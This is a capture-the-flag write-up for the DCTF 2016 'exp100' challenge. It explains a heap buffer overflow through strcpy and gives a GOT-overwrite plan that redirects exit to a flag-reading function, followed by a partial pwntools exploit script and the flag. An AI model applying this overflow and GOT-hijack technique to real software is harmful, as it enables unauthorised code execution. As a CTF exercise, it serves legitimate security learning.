• Category: Exploit
• Points: 100
• Description:

10.13.37.21:1337 https://dctf.def.camp/quals-2016/exp100.bin

## Write-up

This is a pretty straight forward heap based buffer overflow. It’s pretty easy to reverse the main function and we can see the rather obvious strcpy buffer overflows. I wrote the main function down in pseudo-C:

struct foo {
int64 count;
void* ptr;
};

struct foo* a = malloc(16); // rbp-0x1020
a.count = 1;
a.ptr = malloc(8);
struct foo* b = malloc(16); // rbp-0x1018
b.count = 2;
b.ptr = malloc(8);

char buf[0x1000];

fgets(buf, 0x1000, stdin);
strcpy(a.ptr, buf);
fgets(buf, 0x1000, stdin);
strcpy(b.ptr, buf);
exit();


The first version of the binary was by accident hardened with FORTIFY_SOURCE so the strcpy where __strcpy_chk calls with a limit of 8. Fortunately they fixed that pretty soon, although I lost some time looking at the non-exploitable version.

Since this is a heap based overflow I like to gain a quick overview of the allocations by using ltrace -e 'malloc+free', e.g.:

malloc(16)             = 0x8d6010
malloc(8)              = 0x8d6030
malloc(16)             = 0x8d6050
malloc(8)              = 0x8d6070


So we can see that b.ptr is allocated 0x20 bytes before b and b.ptr is used as the target of the second strcpy. We can abuse this to overwrite and arbitrary address, with data we supply. To redirect control flow we need a code pointer that is writable, at a fixed address to bypass ASLR and is used after we corrupted it. Fortunatly the GOT entry of exit fits all those criteria.

1. Use first strcpy call to overwrite b.ptr with got.exit
2. Use second strcpy to write an arbitrary address to got.exit
3. We control the target of the call to exit and redirect to the flag reading function at 0x00400826

Here is the full exploit. I used the debugger and a cyclic pattern to determine the offset from a.ptr to b, because I was too lazy to calculate it.

The flag was DCTF{b94c21ff7531cba35a498cb074918b3e}

#!/usr/bin/env python

from pwn import *

velf = ELF("./exp100.bin")
# vlibc = ELF("../libc/lib/x86_64-linux-gnu/libc-2.23.so")
# use the ubuntu libs
env = {"LD_LIBRARY_PATH": "../libc/lib/x86_64-linux-gnu/"}
DEBUG = False
# DEBUG = True
if DEBUG:
vp = process("./exp100.bin", env=env)
gdb.attach(vp, execute="""
# init-pwndbg
init-peda
# first strcpy
break *0x0040096e
# second strcpy
break *0x004009a6
# exit
break *0x004009b0
""")
else:
vp = remote("10.13.37.21", 1337)

# c = cyclic(0x1000*2, n=8)
# vp.sendline(c[:0x1000])
# vp.sendline(c[0x1000:])
off = cyclic_find("faaaaaaa", n=8)

with context.local(log_level="debug"):
vp.sendline("A" * off + p64(exit_got_addr))